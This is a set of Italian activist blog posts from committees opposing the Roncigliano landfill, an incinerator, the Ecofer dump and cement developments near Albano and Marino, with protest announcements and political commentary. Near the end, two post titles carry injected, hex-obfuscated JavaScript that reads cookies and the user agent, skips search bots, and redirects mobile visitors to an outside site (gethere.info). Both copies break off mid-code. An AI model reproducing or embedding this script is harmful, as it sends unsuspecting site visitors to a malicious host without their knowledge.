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SABATO 24 LUGLIO: MANIFESTAZIONE AD ALBANO

SABATO 24 LUGLIO, ORE 18.00

MANIFESTAZIONE AD ALBANO

(ritrovo in piazza S.Pietro)

“CHIUDERE LA DISCARICA DEFINITIVAMENTE,

RISPEDIAMO L’ORDINANZA RAGGI AL MITTENTE!”

Il settimo invaso della discarica di Roncigliano va chiuso e non riempito ulteriormente al ritmo di 1.100 tonnellate al giorno.
L’Autorizzazione Integrata Ambientale del 2009 non può essere derogata perchè già ampiamente scaduta, estinta.
Perché ci sono gli idrocarburi nella falda.
Perché la falsa bonifica è fallita.
Perché il sito di Roncigliano è inagibile e chiuso dal 2016, quando un incendio distrusse l’impianto di Trattamento Meccanico Biologico.
LIBERIAMOCI DA DISCARICHE, INCENERITORI E BIOMETANO
AD ALBANO E DA QUALUNQUE ALTRA PARTE
COORDINAMENTO CONTRO L’INCENERITORE DI ALBANO
https://noinceneritorealbano.noblogs.org

Incontro pubblico su rifiuti e cemento alla Biblioteca Popolare di S.Maria delle Mole

Nel territorio in cui viviamo è da anni in corso una vasta cementificazione che mette insieme gli interessi imprenditoriali e quelli dei partiti politici. Il TAR del Lazio ha dato ragione ai costruttori che avevano presentato ricorso contro alcuni provvedimenti del consiglio comunale di Marino. Lo stesso tribunale che in 8 anni non ha voluto esprimersi sui ricorsi presentati dai comitati cittadini che lottano contro il progetto da un milione di metri cubi di cemento. A pochi passi da qui, lungo la via Ardeatina, l’impianto TMB della discarica di Roncigliano andato a fuoco nel 2016 rischia di essere riattivato grazie ad una nuova autorizzazione regionale mentre le buche della “Ecofer” alla Falcognana vengono indicate come possibili siti per i rifiuti della città di Roma, in eterna emergenza

Già nel 2013 una grande mobilitazione popolare, con 10.000 persone in corteo al centro di Roma, riuscì a fermare il primo tentativo di rendere la “Ecofer” la discarica che avrebbe sostituito la famigerata Malagrotta.

Nel frattempo, la lotta contro l’inceneritore, il TMB e la discarica di Roncigliano non si è mai fermata ed ha visto 500 persone manifestare ad Albano lo scorso 7 dicembre.

I partiti in continua campagna elettorale cercano invece visibilità proponendo gli inceneritori come soluzione e intervengono contro la “Ecofer” solamente perché nelle adiacenze ci sono i progetti di Parnasi e “DeA Capital” per quasi 25.000 nuovi abitanti: 12.500 al Gotto d’Oro e altrettanti a S.Palomba e Paglian Casale. Se a tutto ciò si aggiunge l’inquinamento dovuto agli aerei e il rumore causato dalle nuove rotte, il quadro sull’invivibilità del territorio si completa.

Che cosa sta accadendo ? Quali sono i soggetti che portano avanti progetti di devastazione dei territori ? Come organizzarsi per opporsi efficacemente e in tempo utile ?

Facciamo il punto della situazione parlandone insieme alla “Bibliopop”, venerdì 20 dicembre, dalle ore 18.00.

Assemblea contro la cementificazione e Biblioteca Popolare

http://stopcemento.noblogs.org — stopcemento@inventati.org

Manifesto 20 dic 2019 alla Bibliopop contro rifiuti e cemento in PDF

Dal corteo di Albano una risposta alle speculazioni che generano emergenze

RIFIUTI, AEREI E CEMENTO: LA POPOLAZIONE SI MOBILITA E NON SI PRESTA AGLI INTERESSI DEI PARTITI IN CAMPAGNA ELETTORALE

Sabato 7 dicembre circa 500 persone hanno partecipato al corteo organizzato dal Coordinamento contro l’inceneritore attraversando strade di Albano per protestare contro l’autorizzazione regionale che consentirà all’impianto di trattamento meccanico biologico di Roncigliano di tornare in funzione dopo l’incendio del giugno 2016. L’impianto TMB si trova all’interno della discarica lungo la via Ardeatina e quindi è presumibile che anch’essa torni a disposizione per continuare a essere riempita causando ulteriori danni in aggiunta ai suoi ormai 40 anni di attività.

L’Assemblea contro la Cementificazione di Marino ha partecipato al corteo, come in tutte le altre occasioni, insieme ad altre associazioni e movimenti di lotta del territorio per dare seguito all’idea di unire le forze contro ogni tipo di nocività come ben sintetizzato dallo striscione d’apertura: l’imprenditoria tricolore ed estera, in cerca di facili guadagni, vuole imporre i propri “progetti” nel quadrante di Agro Romano in cui viviamo e per farlo foraggia tutti i partiti dell’arco parlamentare, come già dimostrato da diverse inchieste tra le quali spicca la “nostra” Risorgimento con il costruttore Parnasi coinvolto insieme agli uomini di riferimento di Lega, PD, M5S e Forza Italia.

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Negli ultimi mesi i cambi delle traiettorie di decollo degli aerei e i ripetuti sforamenti negli orari notturni hanno provocato vive proteste da parte degli abitanti delle frazioni di Marino e di Ciampino, però il TAR, l’ENAC e AdR fanno fronte comune insieme alle compagnie aeree come la Ryanair e le soluzioni come i decreti ministeriali non vedono mai alcuna efficacia.

In queste ultime settimane si è riacceso il “gioco” del toto-discarica perché Roma è di nuovo in emergenza con la gestione dei suoi rifiuti. Non proprio una novità, si può dire. Per questo motivo la discarica di rifiuti pericolosi della società “Ecofer Ambiente” situata in via Ardeatina, nel comune di Roma in zona Falcognana ma confinante con il comune di Marino, è diventata una delle maggiori candidate ad ospitare centinaia di tonnellate quotidiane di rifiuti della capitale. Già nell’estate del 2013 ci fu questo rischio e solo la mobilitazione popolare , conclusasi con un corteo di 10.000 persone a Roma, riuscì a bloccare la creazione di una nuova Malagrotta. Però nel frattempo la “Ecofer” si è dotata di un terzo invaso, per una volumetria autorizzata insieme ai primi due di circa 2,2 milioni di metri cubi di rifiuti smaltibili ed ora questa nuova buca fa “gola” per i profitti che potrebbe generare ma anche perché potrebbe, temporaneamente, salvare i partiti politici al governo della Regione Lazio (cioè il PD) e garantire ad AMA un sito di smaltimento in vista della prossima chiusura della discarica di Colleferro. Così da evitare di peggiorare l’attuale consueto disastro che si vede ogni giorno all’interno della città di Roma. In questo caso però i 5 Stelle al Campidoglio e anche al governo nazionale andrebbero in difficoltà rispetto al loro elettorato dato che, da sempre, sono dichiaratamente contro discariche e inceneritori ma, da quando governano, continuano comunque ad utilizzarli per gestire i rifiuti capitolini magari fuori dalla vista dei cittadini romani, qualche km più in là come in Abruzzo.

In questo contesto, si inseriscono poi i movimenti dei partiti politici di opposizione: da Fratelli d’Italia alla Lega (sempre più “selfisti” con tutti i nomi ben elencati per ricordarseli al momento del voto), passando per Forza Italia, i quali provano a farsi campagna elettorale strizzando l’occhio ai comitati cittadini che si battono a difesa dei territori e della salute. Memorabile la scena del senatore Brunetta che si è incatenato per la durata record di ben 30 secondi al cancello della “Ecofer” per far convergere su di sé i riflettori di tutti i mezzi di informazione e che durante il presidio dei cittadini è intervenuto affermando senza vergogna che al “Nord Italia tutto funziona bene, i problemi sono solo qui da noi al Sud, c’è la terra dei fuochi in Campania e il termovalorizzatore di Brescia funziona benissimo”. Qualcuno di noi, presente a quel presidio, è intervenuto contestando le affermazioni del deputato e ha precisato che nel fantastico Nord Italia Brescia è in cima alla classifica delle città più inquinate d’Italia, grazie anche al contributo delle sue industrie e dell’inceneritore tanto caro a Brunetta ma contestato da oltre 40 comitati locali. Inoltre, sempre al Nord non si contano gli incendi negli impianti di stoccaggio dei rifiuti, anche pericolosi, e in ultimo tutti abbiamo visto le immagini di Venezia sommersa per oltre una settimana dal mare mentre il MOSE, costato oltre 5 miliardi di fondi pubblici, è solo la storia di una inutile grande opera che però almeno è stata utile ai colleghi della coalizione di centro-destra, come Galan, che si sono intascati oltre un miliardo di tangenti.

Bisogna quindi evitare di affidarsi a questi soggetti che solo perché residenti occasionalmente proprio nei pressi della “Ecofer” sostengono la vertenza ma in realtà fanno molti danni e, in passato, hanno spesso accusato comitati di altri territori di essere “egoisti” (o “nimby”, in inglese) usando la più violenta repressione e persecuzione, come nel caso dei No-Tav in Val di Susa. Anche qui da noi a Marino diversi politici locali che fanno comunella coi palazzinari, come già successo nel 2013, si stanno muovendo dicendo che “siamo tutti sulla stessa barca”, solo perché in realtà temono che i loro profitti basati sul mercato immobiliare e sugli 1,3 milioni di metri cubi di cemento contro i quali lottiamo da anni possano venir danneggiati dalla presenza dei rifiuti della “Ecofer”. A queste meschine manovre vanno sommate purtroppo altre due lottizzazioni per un totale di 11.000 possibili nuovi residenti e denominate “S.Palomba” e “Paglian Casale” che sono state approvate in questi ultimi anni dalle giunte romane e che ricadono lungo via Ardeatina proprio nella zona tra la “Ecofer” e la discarica di Roncigliano. In particolare, a S.Palomba, vicino Pavona-Cancelliera ci sono già diversi sbancamenti per i lavori di costruzione delle opere propedeutiche ai palazzi per 4.000 nuovi abitanti previsti per l’housing sociale approvato dalla giunta Raggi lo scorso anno. La Cassa Depositi e Prestiti garantirà 150 milioni di euro alla società “DeA Capital” per tale iniziativa: di “housing” ci sarà altro cemento, di “sociale” ci sarà la garanzia dei fondi pubblici, come al solito. Ricordiamo che la “DeA Capital” è la stessa società che, in accordo con Parnasi, prevede di costruire al Gotto d’Oro altri palazzoni per 4.000 nuovi residenti, per il progetto approvato dalla giunta Palozzi a Marino e da quella Polverini nel 2013 in Regione Lazio.

Infine, è notizia recente che il TAR ha di nuovo “colpito”: stavolta ha dato ragione ai palazzinari di Mugilla, la zona a ridosso delle scuole di via Maroncelli a S.Maria delle Mole, annullando le delibere comunali della giunta 5 Stelle di Marino che lo scorso anno affermavano la “sospensione dell’efficacia” sia del “Protocollo di intesa del 2011” che dei “PRINT” riguardanti il Masterplan da 1,3 milioni di metri cubi. A breve comunicheremo un’analisi più approfondita però si può già sostenere che il Tribunale Amministrativo Regionale ha fatto carta straccia dei provvedimenti comunali sostenendo le “ragioni” dei palazzinari senza aver neanche preso in considerazione i ricorsi dei comitati cittadini depositati ormai da 8 anni negli stessi uffici. Dovremo quindi presto dare una risposta concreta a questa presa di posizione che tutela gli interessi degli speculatori a danno della popolazione che vive nei territori delle frazioni di Marino.

Tutte queste continue emergenze sono causate e gestite sempre dagli stessi attori. Cerchiamo di non stare al loro gioco ma di organizzarsi davvero tra di noi per non farsi travolgere dai forti interessi economici che hanno individuato nel nostro quadrante di Agro Romano una zona per loro molto appetibile. E non abbocchiamo agli allisciamenti che i vari partiti in perenne campagna elettorale fanno durante le loro pubblicitarie apparizioni nelle occasioni dove la gente si raduna preoccupata da quanto sta accadendo.

Continuiamo ad invitare tutti/e ad ampliare la partecipazione alla lotta.

Assemblea contro la Cementificazione – riunione ogni lunedì alle 21.30 presso il CdQ di S.Maria delle Mole in via N.Tommaseo (adiacente alla scuola “Elsa Morante”)

Coordinamento contro l’inceneritore di Albano – riunione ogni martedì alle 21.30 presso la sede della circoscrizione a Cecchina, in via Rocca di Papa.

ps: un sentito ringraziamento a quanti da Magliano Sabino, Guidonia, Roma e dal resto della provincia hanno partecipato al corteo del 7 dicembre per cercare di unire le lotte. Per chi invece si è fatto l’ennesimo selfie elettorale con il proprio partituncolo fascistoide mezz’ora dopo la partenza del corteo nella stessa piazza da dove ci eravamo radunati non ci sono parole che descrivano bene la tristezza infinita nascosta dietro la solitudine dei sorrisi sfoggiati solo per fotografarsi. Da una parte le lotte, con centinaia di persone, dall’altra uno smartphone e qualche politico di professione o in cerca di uno strapuntino al prossimo giro di voti…

Discariche e Impianti di Trattamento: sabato 7 si torna in piazza

Sabato 7 Dicembre, Manifestazione contro il ritorno del malefico ciclo TMB-DISCARICA-INCENERITORE, ore 15.00, Piazza S.Pietro, Albano Laziale

La voltura dell’AIA (Autorizzazione Integrata Ambientale)  dell’agosto 2009 alla società ColleVerde srl affittuaria del TMB di Pontina Ambiente, consente al sig. Cristiano Cesaro di trattare i rifiuti come già fatto da  Manlio Cerroni fino a tre anni fa.

Il ripristino del TMB (Trattamento Meccanico Biologico) di Roncigliano-Albano comporta una nuova ondata di rifiuti per i prossimi vent’anni.

Vengono cancellate le proteste contro i miasmi ai cancelli della discarica; dimenticate le centinaia di sforamenti degli inquinanti in falda; stracciati i verbali della ASL RM6 e gli atti delle amministrazioni locali.

La stessa mano che nel 2015 aprì il riesame dell’AIA 2009, abbattuta dal verbale ARPA del 2014, torna oggi ad autorizzare il duo Cerroni-Cesaro.

L’immarcescibile Manlio si sente autorizzato a nuove avventure anti popolari dalle scandalose assoluzioni del Tribunale di Roma e dalla comode indagini del PM di Velletri che a tre anni e mezzo dall’incendio comunica chel’inchiesta è in istruttoria preliminare, così aumenta il voltastomaco.

Il signore di Eraclea-Venezia  ha il permesso di ricostruire lo stesso impianto fallito e bruciato e produrrebbe lo stesso combustibile da rifiuti delle truffe cerroniane, la stessa FOS (Frazione Organica Stabilizzata) da smaltire in discarica, magari nel 7° invaso, anche se non volturato.

Questa operazione non fornisce un servizio al territorio, ma favorisce chi cerca di sfruttare il disastro romano dei rifiuti  facendolo pagare agli ingenui burini.

I comuni dei Castelli romani, dopo le mobilitazioni contro inceneritore e altre nocività, hanno voltato pagina nella gestione dei rifiuti.

Ora c’è da andare avanti, colpire i nuovi pescecani a valle delle differenziate tipo EcoX; respingere i prossimi avvelenatori di territori con BIOGAS, BIOMETAMO, BIOMASSE.

SICURAMENTE NON SI PUO’ TORNARE ALLA PREISTORIA: TMB, DISCARICA, INCENERITORE

 

 

Sabato 30 marzo – al corteo per la difesa del parco di Aguzzano


Non passa una settimana dal corteo nazionale contro le grandi opere e i grandi scempi che siamo di nuovo in strada. L’Assemblea contro la Cementificazione ed il Coordinamento contro l’inceneritore di Albano stavolta raggiungono Rebibbia. All’esterno, per fortuna, chissà per quanto…perché in questo quadrante della sterminata periferia romana esistono comitati che sono riusciti a far vivere esperienze territoriali che rendono i quartieri limitrofi più vivi e partecipi con iniziative di ogni tipo. 

Così ci ritroviamo a manifestare per la difesa del Parco di Aguzzano (che si trova tra la Nomentana e la Tiburtina) che la giunta municipale pentastellata vorrebbe parzialmente privatizzare, in particolare cedendo la gestione di un Casale ad un “progetto food”, contravvenendo allo stesso statuto che regola l’uso sociale e pubblico dei beni del parco.

Centinaia di persone, forse un migliaio, hanno dato la risposta chi non vuole ascoltare chi sui territori ci vive e lotta per renderli migliori. C’erano i comitati di lotta per la casa, associazioni, collettivi di altri quartieri, c’era “Casale Alba 2”, vera spina nel fianco dell’amministrazione, che infatti si è ultimamente interfacciata con tale realtà mandando uomini in divisa a minacciarli personalmente. Complimenti!

Per la storia completa della vicenda rimandiamo a questo link

30M Corteo per difendere Aguzzano, i suoi Casali e l’ambiente!

Video di Repubblica.it

https://video.repubblica.it/edizione/roma/da-rebibbia-un-lungo-corteo-per-difendere-il-parco-di-aguzzano/330908/331504

Il nostro volantino, che invita i partecipanti al prossimo impegno: l’incontro di domenica 7 aprile alle 18.00 al csoa Ipò di Marino 

Volantino per Aguzzano – 30 marzo 2019

Corteo nazionale di sabato 23 marzo 2019 – Marcia per il clima

 

 

Decine e decine di migliaia di persone sono giunte da tutta Italia a Roma, riunite come comitati territoriali che lottano contro le devastazioni e gli scempi che imprenditori e politici vogliono (o vorrebbero) portare avanti per fare profitti spacciando i vari progetti come indispensabili e  “per lo sviluppo”.

L’Assemblea contro la Cementificazione ha partecipato insieme ad altri comitati dei Castelli Romani e della provincia, in uno spezzone dignitoso (circa un centinaio di persone), che non riusciva a vedere né la testa né la coda del corteo. 

La settimana precedente al corteo la grande copertura mediatica per le proteste studentesche contro i cambiamenti climatici aveva attirato i riflettori sulla tematica generale. Ora che siamo andati “a smucinare” nel particolare, cioè alle origini, alle cause di quanto sta avvenendo sull’intero pianeta, il silenzio mediatico è calato alla grande.

Qui di seguito una galleria fotografica e alcuni video. Alcune immagini sono tratte da vari siti presenti in rete, mentre i video sono caricati su youtube su profili diversi

[ngg src=”galleries” ids=”22″ display=”basic_thumbnail”]Servizio del TG3 Nazionale

 

Servizio del TG3 Regionale

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Servizio di Giovanni de Rossi

Servizio di Stefano Marotta (47 minuti, intorno al minuto 25 un breve ma eloquente intervento dal nostro spezzone

Indicazioni per il corteo di domani e solidarietà ai ciclisti pestati e denunciati dalla celere a Torino

SABATO 23 MARZO
CORTEO NAZIONALE A ROMA
CONTRO LE GRANDI OPERE E CONTRO LA
DEVASTAZIONE E IL SACCHEGGIO DEI TERRITORI
ritrovo ore 14.00,piazza della Repubblica(partenza ore 15.30)
 
Domani, sabato 23 marzo, corteo nazionale a Roma contro le grandi opere, la devastazione e il saccheggio dei territori causati da progetti e speculazioni che tengono conto dei profitti del ceto imprenditoriale che continua ad ottenere il sostegno di tutti i partiti politici.

Ci saranno i comitati della Val Susa che si battono da quasi 30 anni contro la TAV. Ci saranno i pugliesi NO TAP, gli abruzzesi e i marchigiani che hanno subìto prima il terremoto e poi la “ricostruzione”. Ci saranno i comitati che si battono contro le basi militari in Sicilia e Sardegna. I veneti che lottano contro l’avvelenamento del PFAS e contro il costoso, inutile e dannoso MOSE.
Per non parlare delle popolazioni campane assediate da immondizia, discariche e bruciatori vari.
E molti, molti altri.

Nessun media mainstream ha dato spazio al corteo che domani si annuncia numeroso e determinato (ritrovo ore 14.00 a piazza della Repubblica a Roma, partenza prevista ore 15.30, arrivo a piazza S.Giovanni).
Eppure è “grazie” ai progetti contestati, realizzati o in via di realizzazione, che il “clima” del pianeta è diventato un problema e la scorsa settimana è stata garantita ampia copertura mediatica ai cortei studenteschi internazionali.

Ci muoveremo con uno spezzone di corteo al quale invitiamo a partecipare le popolazioni che ci vedono costantemente impegnati nei territori in cui viviamo contro la cementificazione, discariche, bio-digestori, inceneritori, tutela delle acque etc…Insieme all’assemblea contro la cementificazione di Marino ed il coordinamento contro l’inceneritore di Ciampino ci saranno i comitati della zona prenestina-casilina e quelli di Guidonia- asse tiburtina, fino ad arrivare a chi si batte contro gli scempi di Colleferro.

Arriveremo a Roma in treno. Per chi volesse partire insieme a noi: treno delle 13.34 a S.Maria delle Mole, 13.42 per chi salirà a Ciampino. Altri si stanno organizzando con autovetture e metropolitana partendo insieme da via Ardeatina, altezza discarica di Roncigliano.

Invitiamo tutti e tutte sia a partecipare domani che ai percorsi di lotta in piedi nei nostri territori da molti anni, di cui ricordiamo:

– lunedì, assemblea contro la cementificazione di Marino, ore 21.30, via N.Tommaseo (sede del CdQ di S.Maria delle Mole)

http://stopcemento.noblogs.org

– martedì, coordinamento contro l’inceneritore di Albano, ore 21.00, via Rocca di Papa, Cecchina (sede della circoscrizione)

https://noinceneritorealbano.noblogs.org

Infine, domenica 7 aprile, ore 18.00, al centro sociale IPO’ di Marino, incontro per discutere delle prossime iniziative territoriali al quale parteciperanno diversi comitati locali. A seguire, cena di autofinanziamento

Come dicono i valsusini “A Sara Dura !”

ps: proprio mentre scriviamo questa comunicazione, veniamo a sapere che la polizia di Torino ha pestato un pericolosissimo gruppo di ciclisti che ogni settimana percorre le strade cittadine per rivendicare un altro tipo di mobilità che non sia quella delle autovetture. Tra i ciclisti pestati, ci sono anche 4 denunciati a cui va la nostra solidarietà. A parole, anche le istituzioni erano contro i cambiamenti climatici. Nei fatti, è coi manganelli e la repressione che colpiscono chi prova a fare qualcosa che abbia un minimo di concretezza. Vedere per credere

https://www.bikeitalia.it/2019/03/22/se-la-polizia-carica-la-critical-mass/

https://www.bikeitalia.it/2019/03/22/quando-lo-stato-cerco-di-bloccare-le-bici/

https://www.youtube.com/watch?v=h5LRQKyTW7s

https://video.repubblica.it/edizione/torino/torino-tensioni-tra-polizia-e-ciclisti-durante-la-critical-mass/330176/330777?ref=RHPPLF-BH-I0-C8-P2-S1.8-T2

https://www.youtube.com/watch?v=X6oKmaUj9v4

https://torino.repubblica.it/cronaca/2019/03/22/news/torino_quattro_manifestanti_denunciati_per_le_tensioni_con_la_polizia_al_corteo_dei_ciclisti-222214647/?ref=RHPPLF-BH-I0-C8-P2-S1.8-T1

Si rilancia quindi l’appuntamento di fine maggio-primi di giugno per la ciemmona interplanetaria a Roma

https://ciemmona.noblogs.org/il-31-maggio-1-e-2-giugno-2019-chiamiamo-la-ciemmona-interplanetaria-a-roma/

23 marzo – Corteo a Roma, partecipiamo

Sabato 23 marzo, ore 14.00, piazza della Repubblica a Roma – Corteo contro la devastazione ed il saccheggio dei territori. I promotori del corteo sono le realtà organizzate che si battono in tutto il Paese contro i progetti di messa a profitto ed inquinamento dei territori.

Abbiamo deciso, come Assemblea contro la Cementificazione, di partecipare ed invitiamo tutti/e ad essere presenti. Nei prossimi giorni indicheremo una punta per andare tutti/e insieme alla manifestazione.  

Qui il link che indice la manifestazione del 23 marzo

https://www.globalproject.info/it/in_movimento/marcia-per-il-clima-contro-le-grandi-opere-roma-23-marzo/21836

Il testo di appello sopra riportato e quelli successivamente elaborati in altri appuntamenti di avvicinamento al corteo del 23 marzo fanno riferimento a questioni quali “giustizia climatica” ed altre simili vaghezze, così come al “tradimento” dei partiti di governo e ad altri passaggi che non condividiamo come analisi, anzi sono piuttosto lontani dal percorso autorganizzato che da anni cerchiamo di portare avanti. Per questo abbiamo scritto un sintetico appello, condiviso con altri comitati della provincia di Roma con i quali spesso ci incontriamo per organizzare le lotte sui temi che riguardano i nostri territori.

PARTECIPIAMO ALLA MANIFESTAZIONE DEL 23 MARZO A ROMA

Abbiamo dato vita a mobilitazioni che si sono opposte efficacemente alla costruzione di inceneritori, discariche, impianti a biomasse, a piani di cementificazione per centinaia di ettari, alla cronica mancanza di servizi primari.

Tuttora nei nostri territori incombono impianti impattanti e pericolosi, non ultime le fantasmagoriche previsioni del molto democratico Zingaretti che a Colleferro intende trattare 500.000 tonnellate l’anno di prodotti da TMB e FARE TANTO BUON METANO per avvelenare coi suoi digestati sterminate superfici agricole, diffondere batteri patogeni ed emissioni le più diverse, recuperando una buona messe di incentivi.

Non crediamo che la nostra conflittualità abbia un senso diverso da chi si oppone al TAV, al TAP, AL TERZO VALICO e a qualunque altra attività grande o piccola finalizzata al profitto dei soliti noti. E’ d’altronde chiaro che ora il sistema di comando si appresta a schiacciare queste lotte.

Per questo riteniamo giusto opporre un fronte ampio alle pretese delle lobby che gestiscono il potere.

Stiamo in piazza in perfetta continuità con quello che facciamo da molti anni.

Non ci interessa condividere la lenzuolata di proposte “in positivo” presente nell’appello di convocazione. Sembra, volenti o meno, un programma di governo.

Non vogliamo governare, nè ricevere finanziamenti per interventi benefici, nè sventolare “diritti” astratti, dalla giustizia climatica a scendere.

Di fronte alla crisi economica, politica e sociale del sistema dominante crediamo che sia prioritario far crescere e stabilizzare l’autorganizzazione conflittuale di tutti quelli che, estranei alle logiche del profitto, non accettano più le pretese del primo pescecane che passa, meno che mai quelle dei nuovi ducetti sul mercato.

Non siamo clienti di nessuno, non cerchiamo mance e sbocchi politici immaginari.

Lavoro di massa, coscienza, organizzazione con continuità e determinazione per la salvaguardia della salute dei cittadini e dei territori sottoposti a progetti di devastazione e saccheggio che stanno portando il pianeta al collasso.

Coordinamento contro l’inceneritore – Albano

Assemblea contro la cementificazione – Marino

Comitato per il risanamento ambientale (CRA) – Guidonia

Comitato alternativa sostenibile – Area Metropolitana di Roma – Prenestina – Casilina

documento 23 marzo in pdf

18 dicembre – Corteo contro la mafia del Cemento in zona Ardeatina-Millevoi

[5] Corteo 18 dicembre 2014 - contro le mafie del cemento - manifestovar _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge 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La mobilitazione contro il cemento si espande in tutto l’Agro Sud

[1] Locandina manifestazione 23 ottobre[1] Volantino manifestazione 23 ottobrevar _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge 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